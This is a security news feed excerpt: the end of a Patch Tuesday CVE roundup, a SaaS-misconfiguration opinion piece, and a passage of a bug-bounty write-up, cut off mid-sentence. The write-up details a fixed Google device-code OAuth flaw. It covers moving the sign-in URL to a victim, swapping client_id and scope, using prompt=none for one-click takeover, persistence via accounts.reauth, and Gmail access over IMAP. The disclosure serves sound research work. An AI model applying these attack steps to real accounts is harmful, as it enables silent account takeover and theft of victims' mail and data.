<li>Graphics – Windows <a href="https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-overview-of-gdi--about">GDI+</a> remote code execution (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380">CVE-2026-50380</a>) and a <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/display/directx-graphics-kernel-subsystem">DirectX Graphics Kernel</a> RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382">CVE-2026-50382</a>), both reachable through document-rendering paths.</li>



<li>Windows Media – a large cluster: three critical <a href="https://learn.microsoft.com/en-us/windows/win32/medfound/microsoft-media-foundation-sdk">Media Foundation</a> RCEs (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090">CVE-2026-57090</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094">CVE-2026-57094</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087">CVE-2026-57087</a>) lead 14 Windows Media and seven Media Foundation entries overall.</li>



<li>Identity infrastructure – beyond the exploited ADFS flaw, <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview">Active Directory Domain Services</a> takes a critical RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164">CVE-2026-49164</a>) and <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-cs/active-directory-certificate-services-overview">Active Directory Certificate Services</a> a critical elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121">CVE-2026-54121</a>). Domain controllers take priority again.</li>



<li><a href="https://learn.microsoft.com/en-us/windows/win32/printdocs/print-spooler">Print Spooler</a>, <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">WSUS</a>, and MSMQ – critical RCE/EoP in the Print Spooler (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608">CVE-2026-58608</a>), <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">Windows Server Update Services</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444">CVE-2026-50444</a>), and <a href="https://learn.microsoft.com/en-us/windows/win32/rpc/overview-of-message-queuing-services-architecture">Message Queuing</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992">CVE-2026-54992</a>, “Exploitation More Likely”), all server-role attack surface.</li>
</ul>



<p class="wp-block-paragraph">The <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-kernel-mode-kernel-library">Windows Kernel</a> is the most-patched component (28 CVEs, seven “More Likely”), followed by <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview">NTFS</a> (21), Windows Runtime (17), Windows Media (14), <a href="https://learn.microsoft.com/en-us/windows-server/storage/refs/refs-overview">ReFS</a> (12), and Win32k (15 across its two entries). Add this Windows update to your Patch Now deployment schedule.</p>



<h2 class="wp-block-heading">Microsoft Office</h2>



<p class="wp-block-paragraph">Microsoft released 96 Office CVEs this month: 19 critical, 76 important. Remote code execution leads (53 entries), ahead of information disclosure (27) and spoofing (10). <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> is the centre of gravity: it touches 39 of the 96 CVEs and supplies the family’s one actively exploited flaw.</p>



<ul class="wp-block-list">
<li>SharePoint Server: has been exploited (who would have guessed) and reaches end of support today. <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164">CVE-2026-56164</a>, an elevation of privilege, is under active exploitation. Above it sit two critical remote code execution flaws, both “Exploitation More Likely” (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522">CVE-2026-50522</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644">CVE-2026-58644</a>) and a critical security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040">CVE-2026-55040</a>). SharePoint Server 2016 and 2019 reach end of support on 14 July, so this exploited, critical-heavy set is the final security update those on-premises farms will receive.</li>



<li>Office has experienced a long run of critical remote code execution entries across Office, Word, and PowerPoint (among them <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033">CVE-2026-55033</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127">CVE-2026-55127</a> in Word, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043">CVE-2026-55043</a> in PowerPoint, and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018">CVE-2026-55018</a> in Office), topped by <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045">CVE-2026-55045</a>.</li>
</ul>



<p class="wp-block-paragraph">With an exploited zero-day, two RCEs, and an end-of-support deadline all landing on SharePoint in the same cycle, SharePoint environments are the priority. Add the July Office and SharePoint updates to your Patch Now schedule.</p>



<h2 class="wp-block-heading">Microsoft Exchange and <a href="https://learn.microsoft.com/en-us/sql/sql-server/what-is-sql-server?view=sql-server-ver17">SQL Server</a></h2>



<p class="wp-block-paragraph">Both Exchange and SQL Server carry critical-rated security vulnerabilities this month. <a href="https://learn.microsoft.com/en-us/exchange/">Exchange Server</a> returns with an on-premises security update for Exchange Server Subscription Edition, the only on-premises release still supported after Exchange Server 2016 and 2019 reached end of support in October 2025; SQL Server takes two critical remote code execution flaws, one of them against SQL Server 2016, which reaches end of support on the same day.</p>



<ul class="wp-block-list">
<li>Exchange Server (on-premises) – <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008">CVE-2026-55008</a>, a spoofing vulnerability rated critical and “Exploitation More Likely,” is the headline. Behind it, a remote code execution entry (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005">CVE-2026-55005</a>) and two elevation-of-privilege flaws (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006">CVE-2026-55006</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009">CVE-2026-55009</a>) round out the on-premises set. A separate Exchange Online elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998">CVE-2026-54998</a>, critical) is fixed service-side with no customer action.</li>



<li>SQL Server – two critical remote code execution flaws: <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117">CVE-2026-54117</a> (SQL Server 2025) and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118">CVE-2026-54118</a> (which reaches back to SQL Server 2016 SP3), with five further important elevation-of-privilege and information-disclosure entries behind them. The 2016 exposure matters because SQL Server 2016 reaches end of support on 14 July: a critical RCE on a platform taking its final update.</li>
</ul>



<p class="wp-block-paragraph">Both belong on the Patch Now schedule this month: the Exchange on-premises update for its critical spoofing flaw, and the SQL Server update for the two critical RCEs.</p>



<h2 class="wp-block-heading">Microsoft developer tools</h2>



<p class="wp-block-paragraph">Microsoft released 24 CVEs across its developer tooling this month, all rated important. The weighting shifts from last month’s <a href="https://code.visualstudio.com/">Visual Studio Code</a> concentration toward <a href="https://learn.microsoft.com/en-us/dotnet/core/introduction">.NET</a> and <a href="https://learn.microsoft.com/en-us/aspnet/core/overview?view=aspnetcore-10.0">ASP.NET Core</a>, where a run of denial-of-service entries dominates the volume:</p>



<ul class="wp-block-list">
<li>ASP.NET Core and .NET – the two highest-severity entries are ASP.NET Core elevation-of-privilege entries (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300">CVE-2026-47300</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303">CVE-2026-47303</a>), ahead of a .NET security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528">CVE-2026-50528</a>) and two .NET / .NET Framework remote code execution flaws (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646">CVE-2026-50646</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649">CVE-2026-50649</a>).</li>



<li><a href="https://learn.microsoft.com/en-us/visualstudio/get-started/visual-studio-ide?view=visualstudio">Visual Studio</a> and VS Code – a GitHub Copilot / Visual Studio Code security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109">CVE-2026-41109</a>) and a second VS Code security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102">CVE-2026-57102</a>) lead here, with a VS Code remote code execution entry behind them (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520">CVE-2026-50520</a>) and a Visual Studio RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305">CVE-2026-47305</a>).</li>
</ul>



<p class="wp-block-paragraph">Add these Microsoft updates to your standard developer update release schedule.</p>



<h2 class="wp-block-heading">Adobe (and third-party updates)</h2>



<p class="wp-block-paragraph">Outside Microsoft’s own catalogue, July is quiet. Adobe issued no Acrobat or Reader security updates. So, the month belongs to Microsoft, and it is a heavy one: 722 CVEs, roughly three times a normal cycle and one of the largest on record. Worth noting that this lands in the same season Microsoft has been talking up AI-assisted vulnerability management, and the AI stack it is selling as the answer, Copilot and Azure OpenAI among them, sits in the centre of this patch cycle’s own critical-rated updates. The (AI) tooling may be getting smarter, but the patch pile is (definitely) not getting smaller. This may be the beginning of an accelerating curve of ever larger patch cycles. My feeling is that we are in the middle of the beginning of this coming patch surge.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The SaaS blind spot: Why security teams can’t get inside their own apps]]></title>
<description><![CDATA[Most organizations I work with have invested heavily in cloud security. They have endpoint detection tools, SIEM platforms, cloud security posture management, and skilled security teams running on a 24/7 shift. And yet, when I ask them a simple question — who has admin access in your Salesforce t...]]></description>
<link>https://tsecurity.de/de/3675559/it-security-nachrichten/the-saas-blind-spot-why-security-teams-cant-get-inside-their-own-apps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675559/it-security-nachrichten/the-saas-blind-spot-why-security-teams-cant-get-inside-their-own-apps/</guid>
<pubDate>Fri, 17 Jul 2026 11:09:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Most organizations I work with have invested heavily in cloud security. They have endpoint detection tools, SIEM platforms, cloud security posture management, and skilled security teams running on a 24/7 shift. And yet, when I ask them a simple question — who has admin access in your Salesforce tenant right now? — The room goes quiet. Nobody knows. Not because they are negligent. Because they genuinely cannot see it.</p>



<p class="wp-block-paragraph">That is the SaaS blind spot.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Figure-1-The-Blind-Spot-and-what-SSPM-covers.png?w=1024" alt="Figure 1: The Blind Spot and what SSPM covers" class="wp-image-4197928" width="1024" height="417" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Figure 1: The Blind Spot and what SSPM covers.</em></figcaption></figure><p class="imageCredit">Ashish Mishra</p></div>



<h2 class="wp-block-heading"><a></a>SaaS: Numbers speak volumes</h2>



<p class="wp-block-paragraph">I ask this question in almost every engagement: how many SaaS applications does your organization run? The answers I get range from 30 to maybe 50. The real number, once someone counts, is usually north of three hundred. <a href="https://appomni.com/press-releases/new-state-of-saas-security-report-2024/">AppOmni’s 2024 research</a> put it even higher — 49% of Microsoft 365 organizations believed they had fewer than ten apps connected to their tenant when the actual average was over a thousand.</p>



<p class="wp-block-paragraph">Here is the part that concerns me more than the count. Of all those applications, security teams have clear sight into maybe one in 10. The rest — where your customer records live, where your source code sits, where your financial reports get shared — nobody is watching. Not because the team is careless. Because the tools they have were never built to look there.</p>



<p class="wp-block-paragraph">The following incidents will discuss these realities.</p>



<h3 class="wp-block-heading"><a></a>Salesforce in 2023</h3>



<p class="wp-block-paragraph">In April 2023, <a href="https://krebsonsecurity.com/2023/04/many-public-salesforce-sites-are-leaking-private-data/">KrebsOnSecurity</a> broke the story — Salesforce Community sites were quietly leaking sensitive data belonging to government agencies, banks, and healthcare providers. No sophisticated attack technique. Just the right API endpoint and a misconfigured guest user profile. The exposed records included Social Security numbers, account details, and home addresses. Salesforce was clear in its response: this was not a platform vulnerability. Administrators had misconfigured guest access policies, and nobody had checked.</p>



<p class="wp-block-paragraph">Guest user profiles in Salesforce Communities can be granted access to data records. When administrators set those permissions too broadly — often without realizing it — unauthenticated external users can query that data straight through the API. Over 150,000 companies were potentially sitting in that window before anyone raised the alarm.</p>



<p class="wp-block-paragraph">The pattern is always the same. Configuration made under time pressure, default set slightly too permissive, nobody looks at it again. SaaS applications accumulate these quiet exposures over months and years.</p>



<h3 class="wp-block-heading"><a></a>GitHub in 2022</h3>



<p class="wp-block-paragraph">In April 2022, <a href="https://github.blog/news-insights/company-news/security-alert-stolen-oauth-user-tokens/">GitHub disclosed</a> that an attacker had used stolen OAuth tokens — issued to Heroku and Travis CI — to access and download private repository contents from dozens of organizations, including npm. GitHub’s own systems were never touched. The tokens came from third-party applications that users had authorized to connect to their accounts, and those applications had been quietly compromised.</p>



<p class="wp-block-paragraph">The entry point was not GitHub. It was not even the organizations that lost their data. It was the CI/CD tools those organizations had connected to GitHub months or years earlier — tools that had been granted broad read and write permissions that were never revisited.</p>



<p class="wp-block-paragraph">That is the OAuth problem in plain terms. The moment you authorize a third-party application; its security posture becomes your problem too. Most organizations have dozens of these connections sitting open across their SaaS platforms — and no one reviewing them.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="496" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><em>Figure 2: The 2022 GitHub breach chain.</em></figcaption></figure><p class="imageCredit">Ashish Mishra</p></div>



<h3 class="wp-block-heading"><a></a>Microsoft in 2023</h3>



<p class="wp-block-paragraph">The Microsoft case from 2023 is the one I bring up when people assume this only happens to careless organizations. <a href="https://www.wiz.io/blog/38-terabytes-of-private-data-accidentally-exposed-by-microsoft-ai-researchers">Wiz Research</a> found that Microsoft’s own AI team had exposed 38TB of internal data — private keys, passwords, and more than 30,000 internal Teams messages — through a single misconfigured Azure access token. The token was supposed to share one training dataset on GitHub. Instead, it opened an entire storage account to anyone who found the link.</p>



<p class="wp-block-paragraph">What gets me about this one is the timeline. That token had been sitting there since October 2021. Nearly two years, inside Microsoft, before anyone caught it. If a team with that level of resources and expertise can leave a door open for two years, the idea that “we’d notice” is not much of a security strategy. And it’s worth noting — this wasn’t a database leak. It was Teams messages. The same collaboration tools your employees use every day are just as exposed as the platforms holding structured records.</p>



<h2 class="wp-block-heading"><a></a>Why traditional security tools miss this</h2>



<p class="wp-block-paragraph">Cloud Security Posture Management tools — CSPM — are designed to monitor infrastructure configuration: virtual machines, storage buckets, network rules, and IAM policies at the infrastructure level. They do an acceptable job at that layer. What they do not do is look inside SaaS applications. <a href="https://www.cisa.gov/resources-tools/services/secure-cloud-business-applications-scuba-project">CISA’s Secure Cloud Business Applications (SCuBA) guidance</a> specifically calls out the gap between infrastructure security tools and SaaS-layer visibility as one of the most under addressed areas in enterprise cloud security.</p>



<p class="wp-block-paragraph">This is the gap SSPM was built to close. Instead of watching infrastructure, it watches the configuration of the SaaS applications themselves — permissions, sharing settings, who has access to what. And the distinction is not just academic. Infrastructure misconfigurations tend to expose systems. SaaS misconfigurations tend to expose data — directly, quietly, and often without any detectable attack activity at all.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Figure-3-The-six-core-visibility-capabilities-of-SSPM.png?w=1024" alt="Figure 3: The six core visibility capabilities of SSPM" class="wp-image-4197926" width="1024" height="567" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Figure 3: The six core visibility capabilities of SSPM</em>.</figcaption></figure><p class="imageCredit">Ashish Mishra</p></div>



<h2 class="wp-block-heading"><a></a>What security teams should do now</h2>



<p class="wp-block-paragraph">You do not need to deploy a full SSPM platform tomorrow to start closing the gap. There are practical steps that move the needle immediately.</p>



<ul class="wp-block-list">
<li>Audit connected OAuth applications across your primary SaaS platforms. Revoke any integration that cannot be justified by a current business need.</li>



<li>Common source of public data exposure: Review guest and external sharing permissions in Salesforce Communities and Microsoft SharePoint.</li>



<li>Check whether legacy authentication protocols are disabled in Microsoft 365. Legacy auth bypasses MFA and becomes a potential entry point in enterprise environments.</li>



<li>Establish a quarterly access review for high-privilege accounts in SaaS applications. Most organizations run annual reviews at best — that is not frequent enough for platforms that change configuration daily.</li>



<li>A map of which SaaS applications hold sensitive data, and which have no security team ownership at all. That list will be longer than you expect.</li>
</ul>



<p class="wp-block-paragraph">The core issue is not that organizations are careless. It is that they have built security programs around the perimeter and the infrastructure, and SaaS applications grew up inside that perimeter without ever being brought into scope. The data is there. The access is there. The misconfiguration is often there too. What has been missing is the visibility to see it.</p>



<p class="wp-block-paragraph">SSPM closes that gap. But even before a formal tool is in place, simply asking the question — what can the applications we already run see and share? — is a meaningful first step. In my experience, the answer surprises almost every organization that takes the time to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Confused Deputy: Google IdP Universal Account Takeover via Device Code Flow Hijacking]]></title>
<description><![CDATA[TL;DRThis one started from setting up the YouTube app on my PS5. The device authorization grant (RFC 8628) it uses, the flow TVs, consoles, and CLIs rely on when they don’t have a browser of their own, turned out to hide two stacked bugs in Google’s implementation.Two bugs stack together. First, ...]]></description>
<link>https://tsecurity.de/de/3675347/hacking/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675347/hacking/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:37 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>TL;DR</h3><p>This one started from setting up the YouTube app on my PS5. The device authorization grant (RFC 8628) it uses, the flow TVs, consoles, and CLIs rely on when they don’t have a browser of their own, turned out to hide two stacked bugs in Google’s implementation.</p><p>Two bugs stack together. First, the session that anchors a device-code sign-in is fully transferable: copy the sign-in URL from one browser to another and the second browser’s login satisfies the first device’s poll. Second, the authorization server never binds client_id and scope to the device_code server-side, so both can be swapped in the URL after the fact. Chain the two together with the prompt=none parameter and any link, opened by a victim who has ever used "Sign in with Google" anywhere, silently hands over an access token for an arbitrary Google-registered client, no click, no consent screen, no 2FA prompt, almost no trace in the victim's account activity.</p><p>Reported to Google’s VRP on Feb 25, 2026, initially closed twice as “won’t fix”: social engineering, reopened after a one-click PoC, fixed by Mar 28, 2026, and rewarded $13,337. Details on that back-and-forth are in the <a href="https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html#9-disclosure-timeline">disclosure timeline</a> below.</p><h3>1. Intro</h3><p>Most of the well-known attacks on OAuth go after the client or the resource server: a malicious app, an open redirect, a signing-algorithm mix-up. They leave the authorization server itself alone, because it’s the one party in the protocol that’s supposed to be unshakeable, the thing every other trust decision is anchored to. This is a story about going after that assumption directly, in the one corner of OAuth that’s explicitly designed to let the login happen on a completely different screen: the device authorization grant.</p><p>It started as a mundane afternoon setting up a TV app on a game console, and it ended with a way to silently take over accounts on virtually any site that offers “Sign in with Google.” Getting from one to the other took two separate findings stacked on top of each other, a rejected report, and a fix to the fix. What follows is that story, roughly in the order it actually happened, blockers included.</p><h3>2. The Device Authorization Grant</h3><p>Most OAuth flows assume the device asking for access has a browser sitting right there to redirect through. RFC 8628 exists for the case where it doesn’t: a smart TV, a games console, a headless CLI. The shape is different from the usual redirect dance:</p><ol><li>The device calls the authorization server directly (POST /device/code) and gets back a device_code (secret, stays on the device) and a user_code (short, shown on screen).</li><li>The device displays the user_code and tells the user to go to a URL, google.com/device in Google's case, on <em>any other</em> browser.</li><li>The user opens that URL on their phone or laptop, types the code, signs in, and consents.</li><li>Meanwhile the device has been polling POST /token with its device_code. Once the user finishes step 3, the next poll returns an access token.</li></ol><p>The whole point of the design is that the device and the browser doing the authenticating can be, and usually are, two completely different pieces of hardware. That’s also exactly what makes this flow interesting to attack: the protocol <em>already</em> expects the login to happen somewhere else. The only thing holding the model together is that the “somewhere else” has to be a browser <em>the legitimate device owner</em> is sitting at.</p><p>That’s the assumption. The rest of this write-up is what happened when I went looking for the place where Google’s implementation stops enforcing it.</p><h3>3. Setting Up YouTube TV on a PS5</h3><p>I was setting up the YouTube app on my PS5, ordinary first-run setup. The console has no keyboard and no way to type a password comfortably with a controller, so it does the sensible thing: it shows a short user_code on screen and tells you to go sign in on your phone instead. I typed the code into google.com/device, signed into Google, approved the consent screen, and a few seconds later the PS5 was logged in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qmQssZXzIn_0kJeh.png"><figcaption><em>The YouTube TV “Add your Google Account” screen: a QR code and a short user_code, with instructions to finish sign-in on a phone.</em></figcaption></figure><p>Nothing about that felt unusual as a user, but the flow itself was intriguing: a screen with no keyboard asking me to authenticate on a completely separate device, and coming back logged in seconds later. That disconnect between where I typed my password and where the session actually landed is what made me want to look at it more closely. Behind the scenes, that’s:</p><ul><li>POST https://oauth2.googleapis.com/device/code → device_code + user_code.</li><li>The PS5 polling POST https://oauth2.googleapis.com/token with that device_code.</li><li>My phone’s browser walking through https://accounts.google.com/o/oauth2/v2/auth?… to finalize consent once I typed the code and signed in.</li><li>The PS5’s next poll returning an access token.</li></ul><p>Standard, boring, RFC-compliant. The interesting part is what that accounts.google.com/o/oauth2/v2/auth URL is actually carrying, and what happens if you don't treat it as disposable. That question is exactly what kicked off everything that follows.</p><h3>4. The Transferable Session</h3><p>The obvious question with any flow where “the state lives in a URL” is: what happens if you just move the URL? If the entire sign-in step for a device_code can be handed to someone else, then whoever finishes that sign-in step ends up logged into <em>my</em> device, not theirs.</p><p>RFC 8628 §5.4 anticipates exactly this and tells implementers not to let it happen: the whole security model of the flow depends on the user completing verification on a device they’re <em>not</em> about to lose control of.</p><p>I started a fresh device flow on the PS5, walked through google.com/device on a laptop, and at the consent screen copied the resulting URL into a second browser. That failed outright: no session for the second browser to pick up.</p><p>But the device-code page asks for an email address <em>before</em> showing consent. Entering one forwards the browser to a different endpoint entirely: a <em>challenge</em> page at accounts.google.com/v3/signin/challenge/…, carrying a new parameter, TL=APouJz6T…. Sending <em>that</em> URL to a second browser worked. The second browser prompted a completely normal Google sign-in. Seconds after logging in, that account showed up on the PS5.</p><p>TL is an encrypted blob carrying the session state, practically certain to be the device_code, or something that resolves to it, given that it's the only thing left in the URL that could anchor the poll back to a specific device.</p><p><strong>Vulnerability #1: the device-code sign-in session is transferable via URL.</strong> RFC 8628 explicitly says it shouldn’t be. Send the link, get the account.</p><p>That’s a real account takeover, but a narrow one. YouTube TV’s scopes are capped by design, and that cap is the wall I hit next.</p><h3>5. Breaking the Scope Fence</h3><p>A YouTube TV account takeover is real, but Google fences the device flow to a short, deliberately low-risk scope allowlist. Per <a href="https://developers.google.com/identity/protocols/oauth2/limited-input-device">Google’s own docs</a>: <em>“This OAuth 2.0 flow supports a limited set of scopes.”</em> The complete list:</p><ul><li>openid, email, profile</li><li>youtube, youtube.readonly</li><li>drive.appdata, drive.file (app-scoped Drive only, not full Drive)</li></ul><p>No Gmail, no full Drive, no cloud-platform, no compute. The access token I got only worked against a YouTube TV–internal API: enough to like a video or subscribe to a channel. Not exactly a headline bug.</p><p>So I looked again at the transferable challenge URL:</p><pre>accounts.google.com/v3/signin/challenge/…<br>  ?TL=APouJz6T…              &lt;- encrypted session state<br>  &amp;response_type=none<br>  &amp;client_id=861556708454-…   &lt;- YouTube TV<br>  &amp;scope=…                    &lt;- YouTube scopes</pre><p>Two things stand out. response_type=none means this isn't a normal code/token redirect: there's nothing coming back to a callback at all. And there is <strong>no </strong><strong>redirect_uri anywhere in the URL</strong>. The entire boundary that OAuth normally relies on to pin where a grant goes is simply absent from this endpoint, because the grant never gets delivered through the browser; it gets delivered out-of-band, over the device's /token poll.</p><p>The only thing anchoring the session is TL. client_id and scope are just along for the ride in the query string. So: keep TL, swap client_id for a different application, and see which client the authorization server ends up authenticating.</p><p>I scripted the device-code issuance, took the resulting URL, and changed client_id from YouTube TV to Google's own <strong>Cloud SDK</strong> client, with scope changed to cloud-platform, compute, appengine.admin. The consent screen that came back said <strong>Google Cloud SDK</strong>, listing the elevated scopes. Approving it, my polling script, still polling with the <em>original</em> YouTube TV device_code, got back a token on its next call. Inspecting it: cloud-platform, compute, appengine.admin. Not YouTube.</p><p><strong>Vulnerability #2: the server never validates that the </strong><strong>client_id and </strong><strong>scope in the authorization URL match what the </strong><strong>device_code was actually issued for.</strong></p><p>Combined with vulnerability #1, the authorization server ends up issuing tokens under one client’s identity (Google Cloud SDK, or any other Google-registered client, first- or third-party) for a session that started under a completely different one (YouTube TV). redirect_uri isn't just weakly validated here: it's not present at all, because the grant never travels through a redirect in this flow to begin with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*4UwF2sE4BZuwRTMM9aJo9w.gif"><figcaption><em>PoC: device-code hijack escalated from YouTube TV to Google Cloud SDK scopes</em></figcaption></figure><p>The escalation chain worked end to end, at least on paper. Only one step was left: telling Google about it, and finding out whether they’d agree it was a bug at all.</p><h3>6. From Consent Screen to One Click</h3><p>I filed this as a report. It came back rejected the next day, citing user interaction: the victim “consented.” Fair, in a narrow sense: the consent screen is genuinely rendered by Google, the click is a genuine click. But the <em>thing being consented to</em> was shaped entirely by parameter substitution in a link I built, and from the victim’s side there is nothing to notice that’s different from any other Google sign-in. Still, “user interaction” was the stated bar, so the next step was removing it.</p><p>OAuth has a prompt parameter for exactly the case of skipping the consent screen: set to none, it tells the authorization server not to show any UI if the user has already granted the requested scopes to that client before. It's meant to be narrow, restricted to low-risk scopes like openid, email, profile, and gated on prior consent.</p><p>In practice it isn’t narrow at all. “Sign in with Google” is everywhere, and most people have already granted openid email profile to dozens, sometimes hundreds, of apps over the years without ever thinking about it again.</p><p>Take the weaponized device-code URL, drop in Facebook’s client_id (any site using "Sign in with Google" works the same way), set scope=openid email profile, add prompt=none. The victim opens the link, and that's the only action required: no consent screen, no button to press. The browser silently completes the flow in the background, the polling script receives an id_token for that third-party application, and that token replays cleanly against the app's own "Sign in with Google" endpoint.</p><p><strong>One link. Opening it is the only interaction required. Account takeover on virtually any application that uses Sign in with Google.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*hHiWXmNkC5aWkKKDsmLD9w.gif"><figcaption><em>PoC: prompt=none one-click bypass against a third-party client</em></figcaption></figure><p>The technical bypass was solid. What I didn’t know yet was whether any of it would actually be visible, to the victim or to Google’s own monitoring, if it were used for real.</p><h3>7. Why the Victim Never Notices</h3><p>The natural follow-up: surely <em>something</em> surfaces to the victim: a login alert, a new entry under connected apps, a 2FA prompt? It doesn’t, and that’s not incidental. Every signal that would normally catch this gets routed around by the shape of the device-code flow itself.</p><p><strong>Audit trail pollution.</strong> myaccount.google.com/connections shows the <em>original</em> client bound to the device_code, YouTube TV, never the substituted application. To find any trace of the attack, a victim would have to open the connections page, scroll to find "YouTube TV" among however many connected apps they have, click into it, click "see details" to expand the granted scopes, and then recognize that YouTube TV requesting cloud-platform / compute / appengine.admin is not normal. Five deliberate steps and a piece of domain knowledge very few people have.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Nq78jsm8FNLJ6QFG.png"><figcaption><em>The “YouTube on TV” connections entry, expanded: Gmail read/compose/send/delete, Cloud SQL, App Engine, and Compute Engine, all under a client that’s supposed to only need YouTube scopes</em></figcaption></figure><p><strong>Implicit 2FA bypass.</strong> The victim goes through a completely ordinary Google sign-in, which already satisfies any 2FA they have configured. The token handoff to the attacker happens afterward, over the device poll, with no further prompt of any kind. The actual high-risk action, an OAuth grant under an arbitrary client’s identity, never trips a high-risk challenge, because as far as the authentication layer is concerned, nothing risky happened; a user just logged in normally.</p><p>Stealth, solved. The remaining question was reach: how far the same substitution trick could be pushed past YouTube TV’s own scopes.</p><h3>8. Extending the Primitive</h3><p>Stealth is one axis; reach is the other. The same client_id/scope substitution keeps paying out against different corners of the Google ecosystem.</p><p><strong>Persistent access via </strong><strong>accounts.reauth.</strong> Add that scope to the substitution and the resulting grant can refresh indefinitely, with no further victim interaction required: a shoot-and-forget backdoor rather than a one-time token.</p><p><strong>A Gmail backdoor via IMAP, not the REST API.</strong> Substituting a client_id that's allowed to request https://mail.google.com (Apple's iOS Mail client, for instance) gets a token scoped to full Gmail access. Hitting the Gmail REST API with it fails: <em>"Gmail API has not been used in project 861556708454 before or it is disabled."</em> That project ID belongs to YouTube TV, and the original device-code client never had the Gmail API enabled. That's a project-level gate, not a token-level one, so it's worth checking whether there's another door into the same mailbox. Gmail's IMAP server supports OAuth via the <strong>XOAUTH2</strong> SASL mechanism, using the exact same https://mail.google.com/ scope but going through imap.gmail.com:993 instead of the REST API's project-gated surface. It accepts the token without issue. Full inbox access, with the same 